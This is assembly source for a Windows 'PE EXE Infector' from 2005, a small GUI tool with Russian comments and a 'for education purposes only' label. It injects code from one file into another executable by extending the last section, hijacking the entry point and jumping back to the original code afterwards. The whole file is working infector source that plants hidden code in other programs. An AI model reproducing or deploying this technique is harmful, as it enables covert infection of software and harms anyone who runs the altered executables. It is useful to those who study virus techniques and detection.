;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!PE EXE Infector!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
;For education purposes only
;Это ПЕ-инфектор (учебно-тестовая программа) который заражет файла %)
;заражение происходит с помощью расширения последней секции
;Как это работает?
;1. Выбираете файл в котором находиться код
;2. Выбираете файл который хотите заразить
;3. Нажимаете Infect! и файл заражается
;Техническая информация:
;1. Создаем файл-мэппинг равный размеру файла + размер кода
;2. Находим помледнюю секцию виртуально и физически
;3. Проверка не равен ли размер последней секции нулю
;4. Записывает в конец секции код учебно-тестовой программы
;5. Выравниваем новую секцию с учетом фалового выравнивания
;6. Правим - виртуальный и физический размеры секций
;7. Правим - точку входа
;8. Правим - размер образа - VirtualSize+VirtualAddress
;9. Правим - характеристики - 0a0000020h
;10. Готово!
;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
.586
.model flat,stdcall
option casemap:none
;----------------------IncludeLib and Include---------------------
includelib f:\tools\masm32\lib\user32.lib
includelib f:\tools\masm32\lib\kernel32.lib
includelib f:\tools\masm32\lib\gdi32.lib
includelib f:\tools\masm32\lib\advapi32.lib
include f:\tools\masm32\include\windows.inc
include f:\Tools\masm32\include\proto.inc
include f:\tools\masm32\include\user32.inc
include f:\tools\masm32\include\kernel32.inc
include f:\tools\masm32\include\gdi32.inc
include f:\tools\masm32\include\advapi32.inc
include f:\tools\masm32\include\comdlg32.inc
includelib f:\tools\masm32\lib\comdlg32.lib
;----------------------End IncludeLib and Include-----------------
.data
hWindow dd 0;Описатель окна
msg MSG <?>
wc WNDCLASS <?>
hInstance dd 0;Описатель модуля
TitleName db 'PE Infector v1.0 by Bill/TPOC 2005. http://vxbill.narod.ru, bill_tpoc@mail.ru',0
ClassName db 'InfectClass',0
ButtonName db 'BUTTON',0
EditName db 'EDIT',0
TitleButton db "From file",0
TitleButton1 db "To File",0
TitleButton2 db "Infect",0
ps PAINTSTRUCT <0>
rect RECT <0>
text db "File is ",0
FileInjectTitle db 'Path to file with inject code...',0
FileDestinationTitle db 'Path to file to infect...',0
ofn OPENFILENAME <>
ofn1 OPENFILENAME <>
FilterString db "All Files",0,"*.*",0,0
FilterString1 db "PE EXE Files",0,"*.exe",0,0
buffer db 1000 dup(0)
buffer1 db 1000 dup(0)
OurTitle db "Выбери файл с кодом для внедрения...",0
OurTitle1 db "Выбери файл куда внедрять код...",0
ErrorText db "Ошибка при создании обьекта ядра",0
ErrorTitle db "Ошибка!",0
flag1 db 0
flag2 db 0
NoSelect db "Не выбран какой-то из файлов",0
NoSelectTitle db "Ошибка",0
InfectText db "Вот бля и готово",0
Ok db "Гуд",0
SectionError db "Ошибка секции - последняя секция нулевая!",0
code db 0b8h,00,00,00,00,0ffh,0e0h
.data?
hButton dd ?
hEdit dd ?
hButton1 dd ?
hEdit1 dd ?
hButton3 dd ?
hFileFrom dd ?
hFileTo dd ?
hFileMappingFrom dd ?
hFileMappingTo dd ?
hMappingFrom dd ?
hMappingTo dd ?
EntryPoint dd ?
MaxOffset dd ?
SizeOfLastSection dd ?
pSizeOfLastSection dd ?
pMemory dd ?
SizeOfAfterSection dd ?
FileAlignment dd ?
EndOfNewSection dd ?
NumberOfSections dw ?
pVSizeOfLastSection dd ?
pImageSize dd ?
VirtualAddress dd ?
VirtualSize dd ?
SizeOfRawData dd ?
SizeOfCode dd ?
VirtualAdd dd ?
pCharacters dd ?
Base dd ?
Point dd ?
.code
start:
push 0
call GetModuleHandleA@4
mov hInstance,eax
;-------------------------Registry of Class--------------------------
mov wc.style,CS_HREDRAW or CS_VREDRAW or CS_HREDRAW
mov wc.lpfnWndProc,WndProc
mov wc.cbClsExtra,0
mov wc.cbWndExtra,0
mov eax,hInstance
mov wc.hInstance,eax
push 1
push hInstance
call LoadIconA@8
mov wc.hIcon,eax
invoke LoadCursor,0,IDC_CROSS
mov wc.hCursor,eax
mov wc.hbrBackground,17
mov wc.lpszMenuName,0
mov wc.lpszClassName,offset ClassName
invoke RegisterClass,offset wc
;---------------------End Registry of Class--------------------------
;----------------------Create of Window------------------------------
invoke CreateWindowEx,0,offset ClassName,offset TitleName, WS_VISIBLE or WS_OVERLAPPED or WS_SYSMENU, CW_USEDEFAULT, CW_USEDEFAULT,600,100,0,0,hInstance,0
mov hWindow,eax
;------------------End Create of Window------------------------------
;----------------------Loop of Messages------------------------------
msg_loop:
invoke TranslateMessage, offset msg
invoke GetMessage,offset msg,0,0,0
cmp ax,0
je end_loop
invoke DispatchMessage, offset msg
jmp msg_loop
end_loop:
invoke ExitProcess,0
;----------------------End Loop of Messages--------------------------
;----------------------Procedure of Window---------------------------
WndProc proc
push ebp
mov ebp,esp
push ebx
push edi
push esi
cmp dword ptr [ebp+0Ch],WM_DESTROY
je destroy
cmp dword ptr [ebp+0Ch],WM_CREATE
je create
cmp dword ptr [ebp+0CH],WM_PAINT
je defwndproc
cmp dword ptr [ebp+0Ch],WM_COMMAND
je command
jmp defwndproc
command:
mov eax,dword ptr [ebp+14h]
.IF eax==hButton
mov ofn.lStructSize,SIZEOF ofn
push hWindow
pop ofn.hWndOwner
push hInstance
pop ofn.hInstance
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,1000
mov ofn.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
mov ofn.lpstrTitle, OFFSET OurTitle
invoke GetOpenFileName, ADDR ofn
.IF eax==TRUE
;-----------------------Create FileMapping1------------------------------------------------------------------
invoke CreateFile,ofn.lpstrFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
.IF eax==INVALID_HANDLE_VALUE
jmp error
.ENDIF
mov hFileFrom,eax
invoke CreateFileMapping,hFileFrom,NULL,PAGE_READONLY,0,0,NULL
.IF eax==NULL
jmp error
.ENDIF
mov hFileMappingFrom,eax
invoke MapViewOfFile,hFileMappingFrom,FILE_MAP_READ,0,0,0
.IF eax==NULL
jmp error
.ENDIF
mov hMappingFrom,eax
invoke SetWindowText,hEdit,ofn.lpstrFile
mov flag1,1
;-----------------------End Create FileMapping1-----------------------------------------------------------------
.ENDIF
.ELSEIF eax==hButton1
mov ofn1.lStructSize,SIZEOF ofn
push hWindow
pop ofn1.hWndOwner
push hInstance
pop ofn1.hInstance
mov ofn1.lpstrFilter, OFFSET FilterString1
mov ofn1.lpstrFile, OFFSET buffer1
mov ofn1.nMaxFile,1000
mov ofn1.Flags, OFN_FILEMUSTEXIST or \
OFN_PATHMUSTEXIST or OFN_LONGNAMES or\
OFN_EXPLORER or OFN_HIDEREADONLY
mov ofn.lpstrTitle, OFFSET OurTitle1
invoke GetOpenFileName, ADDR ofn1
.IF eax==TRUE
invoke CreateFile,ofn1.lpstrFile,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
.IF eax==INVALID_HANDLE_VALUE
jmp error
.ENDIF
mov hFileTo,eax
invoke GetFileSize,hFileTo,NULL
mov edi,eax
invoke GetFileSize,hFileFrom,NULL
add eax,7
mov ecx,eax
mov ebx,4096
dec ebx
add ecx,ebx
not ebx
and ecx,ebx;ecx=(x+(y-1))&(~(y-1))
add edi,ecx
invoke CreateFileMapping,hFileTo,NULL,PAGE_READWRITE,0,edi,NULL
.IF eax==NULL
jmp error
.ENDIF
mov hFileMappingTo,eax
invoke MapViewOfFile,hFileMappingTo,FILE_MAP_WRITE,0,0,0
.IF eax==NULL
jmp error
.ENDIF
mov hMappingTo,eax
invoke SetWindowText,hEdit1,ofn1.lpstrFile
mov flag2,1
;-----------------------End Create FileMapping1-----------------------------------------------------------------
.ENDIF
.ELSEIF eax==hButton3
.IF (flag1==1 && flag2==1);если все файлы выбраны, то заражаем
;------------------------Working withPEeader-------------------------------------------------
;-----------------------------получаем количество секций и проходим до опционального заголовка
mov edi,hMappingTo
assume edi:ptr IMAGE_DOS_HEADER
add edi,[edi].e_lfanew;в edi - PE заголовок
add edi,4;в edi - адрес файлового заголовка
assume edi:ptr IMAGE_FILE_HEADER
push [edi].NumberOfSections
pop NumberOfSections
add edi,sizeof IMAGE_FILE_HEADER;в edi - адрес опционального заголовка
assume edi:ptr IMAGE_OPTIONAL_HEADER
;-----------------------------получаем VA точки входа чтобы потом ее перебить
mov EntryPoint,edi
add EntryPoint,16
;-----------------------------получаем выравнивание секций
push [edi].FileAlignment
pop FileAlignment
mov pImageSize,edi
add pImageSize,56
push [edi].ImageBase
pop Base
push [edi].AddressOfEntryPoint
pop Point
;-----------------------------переходим в таблицу секций и ищем последнюю секцию
add edi,sizeof IMAGE_OPTIONAL_HEADER;в edi - адрес таблицы секций
assume edi:ptr IMAGE_SECTION_HEADER
mov MaxOffset,0
xor ecx,ecx
mov cx,NumberOfSections
.WHILE ecx>0;цикл поиска смещения в файле последней секции. на выходе в MaxOffset - смещение относительно начала файла последней секции
mov eax,MaxOffset
.IF [edi].PointerToRawData>eax
push [edi].PointerToRawData
pop MaxOffset
push [edi].SizeOfRawData
pop SizeOfLastSection
mov pSizeOfLastSection,edi
add pSizeOfLastSection,16
mov pVSizeOfLastSection,edi
add pVSizeOfLastSection,8
mov eax,[edi].VirtualAddress
mov esi,[edi].SizeOfRawData
add eax,esi
mov SizeOfRawData,eax
mov eax,[edi].VirtualAddress
mov VirtualAdd,eax
mov pCharacters,edi
add pCharacters,36
.ENDIF
add edi,sizeof IMAGE_SECTION_HEADER;в edi - адрес следующей секции
dec ecx
.ENDW
;------------------------End Working with PE Header----------------------------------------------------
mov edi,pSizeOfLastSection;проверяем не нулевая ли последняя секция
mov eax,dword ptr [edi]
.IF eax==0
invoke MessageBox,0,offset SectionError,offset ErrorTitle,0
.ENDIF
;-----------------------------внедряем код
cld
mov edi,hMappingTo
mov eax,MaxOffset
add eax,SizeOfLastSection
add edi,eax;в edi - конец последней секции, т.е адрес с которого начинать запись
mov esi,hMappingFrom
invoke GetFileSize,hFileFrom,NULL
mov ecx,eax
rep movsb;внедряем код
mov esi,offset code
mov eax,dword ptr [esi]
mov dword ptr [edi],eax
inc esi
inc edi
mov eax,Base
add eax,Point
mov dword ptr [edi],eax
add edi,4
add esi,4
mov eax,dword ptr [esi]
mov dword ptr [edi],eax
inc edi
inc esi
mov eax,dword ptr [esi]
mov dword ptr [edi],eax
inc edi
inc esi
mov eax,dword ptr [esi]
mov dword ptr [edi],eax
;-----------------------------это типа для заполнения нулями оставшейся части для учета FileAlignment
invoke GetFileSize,hFileFrom,NULL
add eax,7
mov ecx,eax
mov ebx,FileAlignment
dec ebx
add ecx,ebx
not ebx
and ecx,ebx;ecx=(x+(y-1))&(~(y-1))
mov esi,edi
add edi,ecx
sub edi,eax
.WHILE 1
mov byte ptr [esi],0
inc esi
.IF esi==edi
.BREAK
.ENDIF
.ENDW
;-----------------------------записываем новый размер последней секции
;mov EndOfNewSection,edi;EndOfNewSection - VA конец новой секции
mov eax,MaxOffset
add eax,hMappingTo
sub edi,eax
mov esi,pSizeOfLastSection
mov [esi],edi;записываем новый размер секции в таблицу секций
mov esi,pVSizeOfLastSection
mov ecx,[esi]
mov ebx,FileAlignment
dec ebx
add ecx,ebx
not ebx
and ecx,ebx;ecx=(x+(y-1))&(~(y-1))
mov dword ptr [esi],ecx
invoke GetFileSize,hFileFrom,NULL;виртуальный размер - размер секции без файлового выравнивания
add eax,7
add [esi],eax
mov eax,dword ptr [esi]
push eax
mov esi,EntryPoint
mov eax,SizeOfRawData
mov [esi],eax;меняем точку входа
pop eax
mov esi,pImageSize
mov edi,VirtualAdd
add edi,eax
mov [esi],edi;изменяем ImageSize
mov esi,pCharacters
mov dword ptr [esi],0A0000020h
invoke MessageBox,hWindow,offset InfectText,offset Ok,0
.ELSE
invoke MessageBox,hWindow,offset NoSelect,offset NoSelectTitle,0
jmp finish
.ENDIF
.ENDIF
jmp finish
error:
invoke MessageBox,hWindow,offset ErrorText,offset ErrorTitle,0
jmp finish
paint:
jmp defwndproc
;---------------------Calling of Default windows Procedure-----------
defwndproc:
invoke DefWindowProc, dword ptr [ebp+08h], dword ptr [ebp+0ch], dword ptr [ebp+10h], dword ptr [ebp+14h]
jmp finish
;---------------------Calling of Default windows Procedure-----------
;---------------------Destroing of Process---------------------------
destroy:
invoke PostQuitMessage,0
jmp finish
;---------------------End Destroing of Process-----------------------
create:
;---------------------Create Button on Window------------------------
invoke CreateWindowEx,0, offset ButtonName,offset TitleButton, WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,80,35,120,30, dword ptr [ebp+08h],0, hInstance, 0
mov hButton,eax
;---------------------End Create Button on Window--------------------
;---------------------Create Button2 on Window------------------------
invoke CreateWindowEx,0, offset ButtonName, offset TitleButton1, WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,375,35,120,30, dword ptr [ebp+08h],0, hInstance,0
mov hButton1,eax
;---------------------End Create Button2 on Window--------------------
;---------------------Create Button3 on Window------------------------
invoke CreateWindowEx,0, offset ButtonName, offset TitleButton2, WS_CHILD or WS_VISIBLE or BS_DEFPUSHBUTTON,230,35,120,30, dword ptr [ebp+08h],0, hInstance, 0
mov hButton3,eax
;---------------------End Create Button3 on Window--------------------
;---------------------Create EditBox on Window-----------------------
invoke CreateWindowEx,0, offset EditName, offset FileInjectTitle, WS_CHILD or WS_VISIBLE or WS_BORDER,20,10,250,20, dword ptr [ebp+08h],0, hInstance,0
mov hEdit,eax
;---------------------Create EditBox on Window-----------------------
;---------------------Create EditBox2 on Window-----------------------
invoke CreateWindowEx,0, offset EditName, offset FileDestinationTitle, WS_CHILD or WS_VISIBLE or WS_BORDER,320,10,250,20, dword ptr [ebp+08h],0, hInstance, 0
mov hEdit1,eax
;---------------------Create EditBox2 on Window-----------------------
jmp finish
;----------------------Backing from WinProc--------------------------
finish:
pop esi
pop edi
pop ebx
pop ebp
ret 16
;-------------------End Backing from WinProc-------------------------
WndProc endp
end start